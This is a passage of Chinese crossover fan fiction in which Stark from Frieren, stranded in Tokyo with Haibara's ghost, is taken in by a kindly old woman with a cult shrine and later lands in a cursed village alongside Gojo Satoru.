不知不觉,天更黑了,已经到了深夜。
“天色好晚了,灰原,你知道哪里有歇息的旅馆吗?”休塔尔克打了个哈欠。
“附近的话,好像有一家。”灰原雄思考了一会,主动提议道,“我来带路吧。”
“太好了,真是麻烦你了,我对这里可不大熟悉。”休塔尔克松了一大口气。
“小事。”
很快,他们来到一家宾馆前。
休塔尔克从怀里掏出一袋银币——虽然团队里的钱主要是由菲伦保管,但是休塔尔克总喜欢热心帮助身边的人,而他们也都为好心的休塔尔克先生提供过报酬,所以不知不觉间也攒下了一笔小钱。
接下来就可以稍微安心睡一觉了吧。休塔尔克期待地想,不知道这里的房间会是什么样子呢?
可惜,事情并不能
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像他所期望的那个方向发展。
“很抱歉先生,我们这里不收工艺品。”前台的服务人员很委婉地说道,把银币推还给休塔尔克。
“欸。”休塔尔克一愣。
一旁的灰原雄倒是很快回神,他一敲自己的脑袋:“哎呀,货币居然不流通啊。”
休塔尔克和灰原雄走出旅馆。
“所以,我是来到了异世界?!”休塔尔克满脸的不可思议,但是仔细想想,确实好像很多细节都能够看出来这一点。
“我就说呢,怎么感觉就算是在书里也没有见过这么繁华的地方嘛,原来都不是一个世界啊!”他打着哈哈。
但是下一秒又再度萎靡下去。
“但是,如果是这样的话,往远了说,找同伴和回家真的算是史诗级难度了,就近来说,我们今晚就找不到住的地方了哇。”
灰原雄也急得上飘下飘。
一个失忆幽灵,在看到见到休塔尔克后才勉强想起自己名字的幽灵,能够帮上忙的地方其实真的很少很少。
就在两人互相对望,愁绪满满之时,天公也不作美,给他们来了个雪上加霜。
轰隆——
只听得惊雷巨响,暴雨便下了下来。
因为没有雨伞,他们不得不狼狈地奔跑在雨夜里,寻一处屋檐暂时避雨。
“好大的雨,浑身都湿透了。”休塔尔克愁眉苦脸地望着前方的瓢泼大雨,满眼艳羡地看着雨帘里撑开的一张张雨伞。
然后扭过头,发现同伴灰原雄那干干爽爽,完全不被影响的姿态,休塔尔克一哽,语气都跟着飘忽了:“啊,灰原,你这样可真不错,一点也不会被影响。”
灰原雄闻言,挑了挑眉,颇有几分得意地扬起唇。
竟还有几分少年气。
“对啊,不会被雨淋,确实是件很幸运的事。”
说着,他还露出了一口白牙。
在死去的那一刻,灰原雄的一切都固化了,固化在死去的最后一刻。
灰原雄低下头,看着自己从腰开始显得虚幻的下半身,这或许是不幸,但是——
【真好啊,不会再被风吹雨淋,露宿街头给影响】
这种角度来看,哈哈,头一回心情好了不少。
39.成佛
雨越下越大,一时半会应该是停不了的。
休塔尔克有点发愁地望着外头。
“哎,如果这种时候能够有人帮忙就好了,比如收留什么的。”灰原雄也跟着叹气,黑灰的眼睛微闪。
但是这也只能是想想啦,毕竟哪里会有这么巧的——
还真有。
就在这时,一把伞停在了他们面前。
“孩子,你是遇到什么麻烦了吗?”
很慈爱很关切的声音,让休塔尔克下意识看了过去。
他低下头,第一眼看见的是有一堆小黄鸭图案的童趣伞面,然后小小的雨伞向上抬起,露出来说话人的面容——是一个个子矮小,满头华发的老嬷嬷,她正冲着休塔尔克微笑。
阿嬷看不见灰原雄,只看到了忧愁发呆中的休塔尔克。
她的那双黑色眼睛看起来既温暖又可靠,休塔尔克下意识就把苦恼说给了阿嬷听。
“啊,”听完休塔尔克的倾诉,阿嬷沉吟一会,热心提议,“不如来我那里暂时住一住,应付一下吧。”
“啊,这会不会太麻烦您了?而且,”休塔尔克皱起眉,为阿嬷的安全意识而忧心忡忡,“万一我是坏人该怎么办呢?”
“我有两套房,正好城里那套我是不常住的,里面除了家具也没有什么了,完全可以暂时借给你住。”阿嬷摇摇头,“况且我现在正好,就是要去城里那套房子里放些东西,这并没有什么麻烦不麻烦。”
说罢,阿嬷抬了抬手,露出红色的布包,给休塔尔克展示,让他安心。
“再说了,能说出这样话的小伙子,怎么会是个坏人呢。”她呵呵地笑着。
既然阿嬷都这么说了,休塔尔克现在也确实需要有个安身所,于是就没过多推辞,和好心肠的阿嬷一块走了。
但是他坚持自己之后会去打工,趁早把房租付给阿嬷。
阿嬷也看得出他的决心,推脱不过,所性不再拒绝,答应下来。
“真是个好孩子啊。”她无奈道。
听到这种话,休塔尔克咧嘴笑起来,有点儿不好意思地挠挠头。
虽然经常有人这么说,但他果然还是不太能自然地应对这些直白夸赞。
就这样走在路上,休塔尔克一边帮阿嬷打伞,一边和阿嬷聊起天来。
“阿嬷是要放什么啊,这么晚进城里?”
“我收养了一个孩子,”阿嬷并没有第一时间回答休塔尔克的这个问题,她笑道。
一提到自己的孩子,她眼角的纹路也幸福地跟着皱起:“她没有名字,但是是我的小宝,一个又安静又乖的孩子。”
“这把雨伞,就是小宝给我挑的。”
“很可爱。”休塔尔克能够听出老人家忍不住想给所有人看的得意与高兴,他真诚而恳切地又重复了一遍,“小鸭子非常可爱。”
“是吧,我也这样觉得。”阿嬷的笑压也压不下来。
然后,她抬头,望起雨。
细细密密的雨。
“真巧,我捡到小宝的时候也是这样一个雨夜啊。”阿嬷看见街道两头昏暗的路灯,语气里也染上怀念,“你们都是好孩子。”
“但是小宝身体不好,身上有很多伤,去看过医生,治疗一直很不理想……”
休塔尔克安静地听着老人家絮絮叨叨。
“小宝很乖,疼了也不会说,总是呆呆的,一言不发,他们都说她被邪魔魇住了,要去求神散散晦气,但是我知道不是这样,她只是不懂,又因为过往,所以才内敛。”阿嬷疼惜地继续道,“白纸一样,好多事,都要一点点教。”
“不过他们说的那位确实很神,所以最后还是求迎了神明,也不贪别的,就求个心安。”
“希望这能保她平平安安。”阿嬷眼睛又变得很亮,充满了希望的样子,“那个笑眯眯的神使说,把它摆在家里,做一些好事,只要这么做就好了。”
“日子会变好,孩子也能健健康康,越来越壮,壮得和小牛犊一样。”
“还真别说,感觉之后,不知道是不是心理作用,确实日子越来越好了,孩子身上的伤,明明那么严重,却也在快速愈合,医生说活下来就是奇迹,可是这都快好了!”
“来年,孩子要上学了,到时候要上城里的公学,我已经看好了学校,之后肯定是要搬过来,”阿嬷摩挲着布袋,“所以就又去求了一个,先放在这边。”
“啊,我们到了,”阿嬷停下脚步,她抬起眼,笑眯眯对着休塔尔克道,“也辛苦你了啊,一路上尽陪着听老婆子我唠叨了。”
“哪里。”休塔尔克摇摇头,“这些都是很幸福的事啊。”
“哈哈哈,”阿嬷说,“最近在教小宝见客的礼仪,到时候你要不要来我们那,让小宝和大哥哥见见。”
“好啊。”休塔尔克一口答应下来。
他们上了楼。
然后阿嬷用钥匙打开门,推开吱呀的铁门,她把侧边的开关打开,黑漆漆的屋内一下子变得亮堂堂。
阿嬷走进狭小的居所,把布袋放到桌子上。
小心翼翼地用双手从里边端出神龛,它上头蒙着块陈旧的红布。
跟在休塔尔克旁边的灰原雄眯起眼睛,先前他因为担心阿嬷会以为休塔尔克有精神问题,所以一直没说话,做足了隐形鬼的姿态,此刻却忍不住狐疑地上下打量起阿嬷手里的神龛,灰原雄直觉这个东西有古怪,但是细究又怎么也查不出来。
还是再观察一下吧。
他这么想,于是把话又咽回嘴里,什么也没说。
休塔尔克没有咒力,敏锐度也不如灰原雄高,自然也没有察觉到异样。
他跟随着阿嬷的脚步向前走,本来打算帮阿嬷拿神龛的,但是阿嬷拒绝了。
为表示虔诚,这应该是她亲自来的,而且也不重。阿嬷是这样说。
直到把神龛放到专设的桌案后,她才说道。
“小伙子,能拜托你以帮忙摆摆盘吗?”
阿嬷能够觉察到休塔尔克热心下埋藏的不安——觉得自己的行动不能够报答收留他的恩情。
休塔尔克自然是满口答应,但是就在他转身准备去拿盘子的时候,余光无意间扫过一旁的墙壁。
休塔尔克忽然看到了什么,稍微顿住了。
正好此刻阿嬷把神龛安置完,抬起了头,她发现休塔尔克的反常,于是顺着他的目光看过去,看到了一张照片,一张——
合照。
上面站着两个人,一个是比现在年轻不少的阿嬷,另一个则是个红头发黑眼睛的小孩,他们都笑得很开心。
照片已经微微泛黄,看起来,时间啊,已经过去很久了。
“……这是我的孩子,已经生病去世了。”阿嬷垂下眼,低声道,“那是,很久以前的事了。”
“抱歉。”休塔尔克无措地喃喃,移开目光。
“没关系。”阿嬷摇摇头,继续忙活起来。
气氛陷入一阵沉默。
休塔尔克来到阿嬷身边,帮着阿嬷把东西摆好。
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就在一切完成时,供奉与香炉都摆好后,望着朱红色布蒙着的神龛,阿嬷忽然开口。
“其实我之前撒谎了。”
苍老的面容上神情看不真切。
休塔尔克愣了下。
“我还是贪心的。”阿嬷继续道,休塔尔克这才意识到她说的是哪回事了。
【所以最后还是求迎了神明,也不贪别的,就求个心安。】
不止是让小宝平安,她还有别的愿望。
“我想我的孩子成佛,不要再在这世间流浪了,”她轻轻地说,像是怕惊扰了谁般,“如果他还活着,应该和你那么大了。”
“他才那么点,和小宝那么大的时候就不在了……不测总是这样啊。”阿嬷叹了一口气。
似乎因为休塔尔克身上那种外国人的气息太浓了,她又解释了什么是“成佛”。
“成佛,成佛就是——灵魂长时间停滞在人间,是会变成妖怪的,因为想要让他们结束苦难,就要满足他们的执念,让他们成佛。”
阿嬷这样说。
休塔尔克沉默下来,不知道该说些什么。他想到了很多,但是说出口又都显得很不合适,苍白而单薄。
“哎,人老了就是容易说很多话,不好意思啊……啊,这里因为不怎么住,所以食物方面没有存储,我放了些钱在桌上,明早小伙子你可以先去买些吃。”阿嬷在与他告别前,这样叮嘱,“还有,前些天我看过天色情况,最近估计还是天气多变,出门记得带伞,我放了把在门边了。”
“对了,小伙子,你应该会做菜的吧?”
“会的,多谢您。”休塔尔克回过神,下意识露出个开朗的笑,礼貌道。
“好好好,那我就放心了。”
阿嬷把门带上,在挥别里离开。
休塔尔克又一次陷入沉默,他坐在木床边边,垂着眼。
“你在想什么呢,休塔尔克?”灰原雄飘到他面前,晃晃手,“快些回神吧。”
休塔尔克想起阿嬷刚刚说的话。
【灵魂长时间停滞在人间,是会变成妖怪的,因为想要让他们结束苦难,就要满足他们的执念,让他们成佛】
于是,他抬起头与灰原雄对视。
“喂,灰原,”他这样对灰原雄说,赤红色的眼里仿佛有火焰在燃烧,倒映着鬼魂的身影,“我来帮你成佛吧。”
“如果满足心愿就能解脱的话,就不需要痛苦地徘徊在人间了。”
“……”
好突然啊。灰原雄望着那双诚恳的眼睛。
沉默了一会,他笑道:“好啊,不过吧我还是想说……”
“其实我也不是特别着急这回事,毕竟灵魂不会再次死亡,其他也就无所谓了,我没有考虑过那么多。”灰原雄耸耸肩,轻描淡写地说着,“而且,正是自身这种情况,我才能及时察觉,及时赶到,救下你和之前的其他人。”
“竭尽全力去尽己所能,这可是我的人生信条,”灰原雄竖起一个大拇指,“这就足够了。”
“但是——”休塔尔克皱眉。
灰原雄打断了他的话。
“但是,还是很谢谢你,休塔尔克。”他继续笑着说,“你的这个想法也很合我心意。”
“因为我想,我在这人间,确实滞留够久了。”
灯光下,灰原雄的身影变得浅淡,脸色像纸一样苍白,不,甚至比纸更薄,苍白到透明。
和他达观的态度不同,灰原雄的身体确实已经快支撑不住了。
40.邪门的孩子
一夜过去,又是新的一天。
太阳已经升得很高,连挡着的窗帘都忍不住透了点光进来。
休塔尔克迷迷瞪瞪地直起身子,打了个哈欠,然后站起来,走到窗边,掀开窗帘。
阳光一下子洒了进来,把昏暗的屋子照亮,也把他给彻底晃清醒了。
“现在是几点了啊,第一次起这么晚。”休塔尔克嘀咕着,而且都这么晚了居然没有人说他,这还真是有点不习惯。
当然,虽然一直被叫赶紧起床的大多数情况都是芙莉莲来着。
想着想着,一层淡淡的感觉便笼罩上来。
不过这种情绪存在的时间并不长久,因为——
“已经十点了。”灰原雄的声音幽幽传来。
休塔尔克吓了一跳,猛得回头,看见墙壁那探出来半个透明的身子。
“呦!”灰原雄冲他打了个招呼。
休塔尔克:……
他一手扶额:“明明旁边的门就是可以开的,你这到底是什么出现方法啊。”
“哈,习惯了嘛。”灰原雄咧嘴一笑。
“不要什么东西都随便习惯啊喂。”
休塔尔克顺嘴吐槽了一句,然后问道:“话说,灰原,你的执念是什么?”
灰原雄回答得很爽快:“当然是记不起来的啦。”
很好,帮忙成佛的第一步就折戟沉沙了。
休塔尔克:(挫败)
“哎,别灰心嘛,虽然我确实是一点记忆也没有,连想起名字什么的都勉勉强强,但是,”灰原雄上飘下飘,“我还是会有熟悉感和既视感这种东西的。”
“那,我带你到处走走?说不定能激起你的回忆。”休塔尔克微微抬头。
“也行。”灰原雄点点头,他凑过来,“不过嘛,也不用那么着急的说,反正东京也不大,早晚都能遇上熟悉的人或者物,然后就能轻轻松松想起来了。”
“当然,尽己所能嘛。”休塔尔克表示了解。
“是极是极——”灰原雄赞同的点头点头到一半忽然顿住。
“不对。”他猛得大喊一声。
休塔尔克向后一仰:?
“买菜,阿嬷昨天说的,不然你中午得喝西北风吧,”灰原雄指着餐桌边阿嬷放的零花钱,“差点忘了这一茬了。”
休塔尔克一拍脑门:“对哦!我这就去购物。”
说干就干,两人一块儿出了门。
结果,这一路上,还没出这块社区呢,休塔尔克就已经脱离目标,帮了一大堆事。
他和灰原雄简直就是一拍即合,一看到有需要就主动去提供帮助。
从帮大叔做垃圾分类,到帮风筝挂树上的小姑娘拿风筝,再到帮腿脚不便的阿姨搬行李……
“啊,真是多谢你了小伙子。”阿姨双手合十,感激溢于言表,“要不是你,我可能还得再搬好几趟。”
“多谢啊多谢!”她连连道谢。
“没事的。”休塔尔克轻松地抱着好几叠纸箱,纸箱都高过他头顶两倍多了。
“小伙子,看你挺面生的,是新来的住客吧,平时都没怎么见到……啊好,我们到了,就是这层,来,往这放就行。”
“不不不,我不是新来的住客,”休塔尔克慌忙摇头,同时把东西往阿姨指着的地方放下,“只是暂时找不到住所,所以被一个老嬷嬷收留了一会,很快就要离开的。”
“哦,收留,这种不可思议的好心肠事,还挺幸运嘛……收留人是我们这的老嬷嬷……啊,你是在说阿嬷对吧。”阿姨思考了一会,忽然眼睛一亮,“是不是那个,那个黑眼睛,带着小黄鸭雨伞的老嬷嬷?”
休塔尔克点点头。
“哎,如果是她的话,也难怪,毕竟她是个善心人。”阿姨唏嘘道,“而且现在也正在做好事。”
“您是知道些什么吗,夫人?”休塔尔克直觉其中有故事,便问道。
“什么呀,不用这么客气,叫我藤原阿姨就行。”阿姨摆了摆手,“其实告诉你也没啥,反正大家都知道的……总之就是,呃,那边的迷信吧。”
说着,她还凑近了点,压低了声:“阿嬷收养了个孩子,体弱多病的,这个你知道不?”
休塔尔克也弯下腰,认真点头。
“哦,你知道!那太好了,这就方便说了。”藤原阿姨撩了下耳边的发丝,兴致勃勃道,这是分享八卦人最戳兴奋点的回合,“就是她啊,为了这个孩子能够平安长大,所以去求了神。”
“听说啊,当然只是听说,那是来自盘星教的神,哎,但是很奇怪,我记得他们以前信仰的明明是天元……”
“阿嬷老家传说这个神呢,很灵,非常灵,不少人去求了,最后好像都达成了所愿,当然啦,这灵验是否真实我倒是半信半疑的,不过,总之最后阿嬷也去求了。”
藤原阿姨继续说道,同时双手不忘比划。
她每一次说话都要配上手势,在夸张里传达意思。
“那个笑眯眯的神使让她把神像请回家,同时还要做足足九十九件好事,这样,才能保护她收养的那个孩子安全。”
“所以她去做了?”休塔尔克忍不住问道。
“所以她去做了。”藤原阿姨点点头,然后,她环视了一圈,把声音压得更低了,“老实说吧,我觉得那孩子还怪邪门的。”
休塔尔克:?
“哎哎,那个孩子,”藤原阿姨欲言又止,最后还是继续说了下去,她先是粗略地描绘了一把孩子不同寻常的外貌,“她有一头浅棕色的头发和深紫色的眼睛,在室内还总是带着帽子,身上还有血腥味……”
“不知道你有没有见过阿嬷曾经的孩子,那模样对比着看,那叫一个天差地别,哦不,扯远了,总之这个孩子,话少,而且很——”
她琢磨了半天,给出这么个评价:“很非人。”
说完,她又大力点了好几下头,似乎是想让我们清楚里头的真实性。
“你在她的眼里看不到对一朵花的欣赏,看不到对一片云的在乎。她看不到对人的情绪,喜怒哀乐,全然没有!你站在她面前,就好像是一羽鸿毛,或者其他什么东西,反正没有被放在眼里。”说着,她瘪
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瘪嘴。
“最开始,阿嬷的丈夫出车祸逝世,留下他们孤儿寡母的,再后来,那个聪明机灵的小子得了病没了,阿嬷也一夜白了头……这是件很难过的事,一个悲伤的母亲,是很能被理解的。”藤原阿姨连声叹气,“再后来,她就捡到了这个邪门的孩子。”
“好多人都觉得阿嬷收养她是为了寄托丧子之痛,”藤原阿姨摇摇头,“可是这么说也很奇怪啊。”
是啊,真奇怪,如果只是当作寄托,怎么会收养一个从性别外表到性子都截然不同的人呢?
休塔尔克并没有评判他人的想法,他也不愿意去这么做,于是说道:“没准是误会。”
“哎哎,这怎么能是误会,你到时候见着了就会知道!”藤原阿姨摇摇头,打了个寒颤,“说真的,我就不理解,阿嬷是个好心肠,但是为什么非要捡这么一个孩子来养,还要为他求神拜佛,想着千辛万苦求一个灵验的神,倘若真信这些……”
这时,一个打扮时尚的年轻小伙上了楼,碰巧听到了他们的谈话,笑着嘀咕了一嘴:“阿嬷她啊,还不如信得彻底一点呢,直接让死者复活不是更好吗?”
“智雄!”藤原阿姨听到了他不着调的话,警告般横了他一眼。
“我说的明明很有道理……”小伙还想嘀咕,但是在藤原阿姨的目光下声音越来越低,“好吧,我知道了,妈。”
不说就不说,他闭嘴,灰溜溜地背着走进门。
“抱歉,我家小子不太懂事。”藤原阿姨扭头解释,“哎,这家伙,等我搬完东西一定好好收拾他。”
“还有什么需要帮忙的地方吗?”休塔尔克笑了起来,没对这事发表什么意见,只是这般询问。
“没了没了,啊,真是辛苦你了啊。”
“好的,那我们就不叨扰您了,先走啦。”休塔尔克挥挥胳膊告别。
“好好好,慢走啊,小伙子——”
不对。
藤原阿姨道别着,但是猛得发现有不对劲,冷汗一下子就下来了。
啊,什么——“我们”?
明明是晴天白日,狭窄楼道里却好像卷起了一股子阴风。
她又打了个寒颤。
……
“休塔尔克。”不被人看见的灵魂幽幽开口。
“嗯?”
“我好像记起来一点了,关于盘星教和天元。”灰原雄皱着眉。
“我似乎,是一名咒术师。”
“咒术师?和你之前记得的咒灵有关吗?”
“应该就是和咒灵作战的人吧,具体的定义还是很模糊,”灰原雄道,“我想我应该是有一个妹妹的。”
“一个和我一样有咒术天赋的妹妹,但是我却私心不想她成为咒术师。”
“是因为风险吧。”灰原雄喃喃,“想知道……”
他的灵魂由几片构成,其中一片是亲情。
这会是他的执念吗?灰原雄头一次感觉到迫切,他迫切地想回忆起妹妹的面容,但换来的只是头颅一阵又一阵尖锐的刺痛。
“可是都想不起来了。”
41.苦夏与雨
偏巧在这时,有一阵风吹过,还是很突然的大风,将两旁树上的叶子都吹得飘落到了地上,然后,停息下来。
可还没有停上没多久,又和轮换着似的再来了一阵,这回的风卷着叶子在地上不停打旋,打旋着向一旁斜斜飘起,往上远去。
啪——
正正好,不长眼地打在休塔尔克的裤腿上。
他低下头,弯下腰。
伸出手,休塔尔克拾起了这片绿叶,这片因为大风,还没来得及成长变色作秋意,就被硬生生吹掉的落叶。
“灰原,”他笑着将这片薄薄的叶举起,对着阳光,“你瞧,这纹路有多么漂亮。”
绿色枝叶上的脉络在阳光的照耀下变得很是清晰,它细而密,从主干延伸,扩展出数条细细的分叉。
“记忆和它一样,主干在向前延伸,但它的支脉却是勾连的。”休塔尔克与灰原雄目光对视。
所以不用担心,一定会回忆起来的。
在无数次新的相遇里,过往的碎片也会串联起彼此,重新变得闪烁。
“再说了,灰原,昨天的你可是说过的,你做事都是竭尽全力,现在这样可不像是你的风格啊。”*
休塔尔克轻快地说道,他咧着嘴,半开起玩笑。
灰原雄:……
灰原雄听后,眉眼都舒展开来,短暂的愁云离他远去。
“是,我的风格确实不该如此!”
轰隆——
响亮的雷鸣声击碎了这场谈心环节。
夏季的雨下得很大也很突然,完全没有规律可言,昨天晚上下了一场,停了些许时间,现在又开始捉弄人了,依旧是倾盆大雨,空气既潮湿又闷热。
“呼——还好这回听了阿嬷的话,昨晚就预备着了,出门也记得把伞带着了。”休塔尔克连忙撑开伞,感叹道,语气里带着对老人家生活智慧的敬佩,“阿嬷可真厉害。”
这真是一场麻烦的雨。
人们纷纷打起雨伞,不一会儿功夫,大雨天里冒出五彩斑斓的小蘑菇。
噼里啪啦的雨点打下,碰到伞面的时候又弹跳起来,四溅开来,沿着伞面滑落,在伞骨尖角处被阻碍,积蓄。直到这边沿蓄满了,剔透的水流又直直向下,有的打着别人的伞,水流一弯,抖落进邻人的衣领子里,激起一片惊叫,也有的哗啦啪啦打到地上,混搅了泥土。
啪嗒,雨靴,或者是其他什么鞋子重重踩下,溅起泥点,旁人抑或他本人就遭了祸秧,污垢全打在鞋面和裤腿上。
无处可躲的雨。
休塔尔克呼出一口气。
“喂,休塔尔克,你衣服都被雨打湿了,”灰原雄在一旁飘着,他瞥了眼自己头上的伞面,“其实完全不用把伞举那么高,我是灵魂,淋不到雨的。”
“你别多想,”休塔尔克非常自然,一本正经道,“我这只是习惯性打这么高。”
但就是不把伞放低。
“你……哎,好吧。”
大中午的,大多数店铺都开门了,但是专门卖蔬菜的店铺却依旧零零星星,稀少异常。
比起做饭,还不如直接去便利店买套餐。有人就是这么想的。
“蔬菜蔬菜蔬菜,好难找啊——哦,是这里!看,上面写了‘八百屋’!”
休塔尔克带着看不见的灰原雄找了好久,终于找到一家,俩人一起钻进了专卖蔬菜的店里。
“唔,我看看,什么紫苏叶,感觉你们这里的蔬菜也和我们那不一样啊,欸好吃吗……”
“我不大喜欢,要不选择这个吧,直觉说它做起来应该挺好吃。”灰原雄指了指另一个标牌。
“哦哦,好嘞,谢啦灰原。”
“你我之间还需要客气什么嘛。”
他们愉快地交谈着,休塔尔克全然忘记了在外人看起来,他此刻是一个人在神神叨叨地对着空气,自说自话的状态。
一旁本来想指引的服务人员都迟疑了,古怪地望着他,不知道该不该上前。
很快,采购完毕。休塔尔克去结账。
就在这时,有两个个子高高的小伙出现在门外对面的拐角,一个臭着张脸,另一个脸上挂满了愉悦的笑。
那一副快乐姿态的少年把外套拿出来披在两人头上,撑着朝这边冲过来,然后,暂时站到了屋檐下,他们边不时望望雨帘,边彼此说着话。
是因为出门时忘了带伞,所以才找就近的店家避雨吧。
这是一件很平常的小事。
但是灰原雄还是忍不住关注他们,听到了他们的对话。
“还是提不起精神吗?”
开朗的男孩递过来一个水壶。
无精打采的同伴把杯盖拧开。
“没办法,苦夏嘛。谢了,居然还给我带水。”
他毫无防备地一大口闷。
下一秒——
“嘶,烫!”
“烫点好,给你烫精神最好。”快乐的少年得意地一扬眉。
“什么,好过分!”
“生病的话,热茶总比冷水好吧!”
“总是说些老一辈的话啊你。”
他们又打闹了会,忽然,开朗些的那个突然感慨:“果然,夏天还是快点过去才好吧。”
“……对我来说,确实是这样啊。”丧丧的同伴沉默了会,赞同地点点头。
雨还在下。
却让人无端想起烈日阳光和冰可乐,泛着黄的回忆。
隔着窗户,灰原雄出神地望着不远处的两人。
休塔尔克这会已经买好了菜,拎着袋子准备走人。他扭过头,碰巧看见灰原雄发呆似的模样,顺着灰原雄的目光,他也看到了窗外的两人。
休塔尔克奇怪而警惕地发问:“怎么了,他们是有什么问题嘛?”
“啊,不,没有。”灰原雄回过神来,连忙摇头,歉意地道,“只是他们的相处,很熟悉……”
“可是我现在,想不起来了。”
又一次说了【想不起来了】。
感觉要变成口头禅了。
“哎,就像之前说的,想不起来的话,就不要费劲去回忆嘛,稍微用些什么放松下心情吧,比如,”休塔尔克沉静地开口,但是下一句就暴露了性子,“哦哦哦,快看,你看那家怎么样?”
灰原雄:?
他下意识顺着休塔尔克手指的地方看去,结果——
休塔尔克指着不远处粉粉嫩嫩的店铺,满眼染着期待:“那家是卖甜品的吧,招牌看着好诱人,味道应该会不错,一起?”
灰原雄双手抱臂,无奈地笑:“我可吃不了。”
“没事,你可以看着我吃,我啊,
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我要用自己的工钱来买。”休塔尔克摆摆手,先走一步。
说到工钱,这其中还是有一段小故事的。
就是在今天早晨,休塔尔克主动给社区的邻居们帮忙的时候,这些被帮助的邻居们人都很好,得知了休塔尔克目前处于暂时被收留的状态,没有钱也没有工作,于是都坚持塞给休塔尔克一些东西做报答,里面自然也包括了工钱。
因为拒绝不下好意,所以休塔尔克象征性地收了些,林林总总的,买个小点心也是绰绰有余。
“快点快点。”
“喂,你!”灰原雄跟了上来。
……
“哇哦,这个看起来好好吃,上面白色的是奶油吗,”休塔尔克看着花样繁多的甜品,他的手掌贴在玻璃上,不住点头,“这个也不错,看着像是草莓味。”
“不过,果然还是买招牌口味会比较保险点吧,”说罢,休塔尔克拿起夹子去夹里头的蓝莓大福,因为过于畅销,卖得只剩下最后一个了。
碰——金属轻轻碰撞的声音,两个夹子碰到了一块。
休塔尔克抬起眼,对上了一个……盲人?!
他面前是个身高挺高的年青帅小伙,一头白发,双眼位置被黑色的眼罩挡着。
一个有意思的巧合,他们看上了同一块点心。
休塔尔克意识到了这一点,率先抽回夹子,把甜点让给了对面。
“多谢。”
他听见那人含笑说道。
欸,居然不是盲人吗!那什么会是这种打扮呢,走路不会看不见么?
休塔尔克心里略过一道疑惑,但是也没有想太多,转头拿了些和菓子,打包带走。
两人擦肩而过。
出了门,一个往南走,一个向北走。
“灰原啊,怎么感觉你好像很沉默了?”休塔尔克一手提菜,一手拎点心,直白地指了出来。
“可能是因为今天才过去半天,遇到的熟悉事情就比以前多得多了吧,和你待一块运气都变好了……”灰原雄也不瞒着,“刚刚那个白发男人,也有印象。”
“?”
“感觉是认识的咒术师。”
休塔尔克猛地回头。
“哎哎,这不用追了吧,都已经走远了,”灰原雄赶忙拦住,“太麻烦了……没准下一次还能遇见。”
休塔尔克是个行动派。
“但是记忆对灰原来说是很重要的吧,”他边跑边说,气息很稳,眼睛很亮,“难得有机会,这种时候就不要因为觉得麻烦别人,然后随便放弃啊。”
【不要随便放弃啊】
【▓▓,活下去】
不知是哪来的记忆碎片闪回,撞进灰原雄的脑袋里。
那是我说过的话?是我,是我和谁说的?想不起来了,但是应该不是妹妹,是其他在乎的人么……
灰原雄眨眨眼睛,回过神来。他放下阻拦的手,一起追了上去。
“喂喂喂,前面的,别跑那么快啊——”
休塔尔克迈开腿冲过去。
原本正叼着甜甜圈,背对着他们的男人听到了身后的动静,连犹豫都未曾犹豫,撒丫子狂奔式提速起来。
“欸不,我没有恶意,拜托,稍微停一停啊!”
两人,哦不对,两人一鬼上演起一出激情马拉松的大戏。
42.隐患与神像
左拐右拐,很快到了个没人的角落,前面的白发男子忽然停了下来,扭过头。
“小伙子,没想到体力这么好啊,追着我是有什么事吗?”
“这么锲而不舍的精神,总不可能是因为——你后悔了吧?”
后悔把最后一份甜点让给他?
五条悟调侃着说道,语气从容又不着调。
休塔尔克也停下脚步,先前激烈的追逐并没有耗费他过多的体力,看起来还是那样精力满满。
这体力值这可不像个普通人,五条悟瞥了他一眼,但休塔尔克身上确实存在普通人的标志——外泄而无法控制的,近乎没有的微弱咒力。
他大概率是普通人,除非……
休塔尔克很自然地看向五条悟,他当然不知道五条悟在想什么:“啊,当然不是因为后悔,我就是想问一下——”
滋嘎。
熟悉的破碎声爆裂开来,休塔尔克的耳朵竖起。
好耳熟,等等,这好像是芙莉莲她们和他分散时出现过的声音,现在听起来应该是在,是在脚底下……嘶,脚底下?!!
糟糕。
休塔尔克的战斗本能下意识让他想跳起来,但是已经来不及了。
突如其来的时空裂缝仿佛有一种莫名其妙的吸力,把休塔尔克和五条悟卷了进去。
#五条悟:?不是,为什么要牵连我,我就一路过买吃的。#
“休塔尔克!”恰好赶上的灰原雄也一并跳了进去。
上下滚动翻转,仿佛被扔到洗衣机里搅了又搅。
休塔尔克的脑海都被颠得有点儿七荤八素起来。
终于,啪嗒一声,他落到了地上。
湿润泥泞的土地,似乎是刚刚下过了一场雨。
休塔尔克沾了满手满脸的泥。
周围是家禽受惊的叫声和犬类的狂吠。
他抬起头,面前是——村庄?
“神奇,居然直接把我给送目的地来了。”一旁传来男人的声音,休塔尔克猛得回头,看见那个被他追的“盲人”干干净净站在那里,一手插兜,胳膊上套着装着点心的纸袋,另一只手则拿着手机,界面显示着导航信息。
在双眼都被不透光眼罩罩住的情况下,他到底是怎么看清楚外界的?休塔尔克脑海里不合时宜地想。
“是个大家伙啊。”五条悟被盖着的眼微微眯起,他伸出两根手指,抵住下巴,若有所思,“如果学生们在的话,或许是一次不错的实践课欸。”
“不愧是我,出门干活都想着学生,啊,我可真是个好老师。”
休塔尔克:?忽然自己夸自己是个什么情况。
#禁止自卖自夸#
再说了,他跟着抬眼——前方明明空无一物啊。
五条悟似乎感受到休塔尔克的疑惑,他伸了个懒腰,打了个响指:“接下来普通人需要离远……嗯?”
他从喉咙里发出一声困惑的哼声。
“呼,休塔尔克,你没事吧。”原来是匆匆赶上的灰原雄飘了过来,他的手搭在休塔尔克肩膀上。
休塔尔克一下子瞪大了眼睛,因为他看见了——
一片黑气,张牙舞爪的黑气都要扑到他们脸上了。
危险。
休塔尔克的手伸向背后,毫不犹豫地抄起斧头挡在胸前。
一个很标准的防御与准备反击的姿势。
似乎是有接受过系统的教育。
而且——
看得见咒灵。
嘶,还以为是个普通人,结果居然能看到咒灵……果然,刚觉醒?哎呀呀,看来是个能够成为咒术师的潜力苗苗啊。五条悟一挑眉。
教师的义务就是要呵护幼苗好好成长嘛。
他忽然转变了想法。
“压抑的黑气,刚刚你也能看到对吧……但是这里有动物,”休塔尔克抱着侥幸心理,问一旁“发呆”的五条悟道,“所以,问题其实也没有那么严重,对吧?”
五条悟静静地看着他,笑而不语。
休塔尔克:……
休塔尔克迟疑:“对、对的吧?”
“怎么可能嘛,当然不对咯~”
背景冒着花,但是话语却残忍地撕裂了休塔尔克的妄想。
“家禽家畜确实都有声音,可是现在是中午——”五条悟忽然凑近休塔尔克,怼到贴面,休塔尔克下意识抬起双手,后退一步。
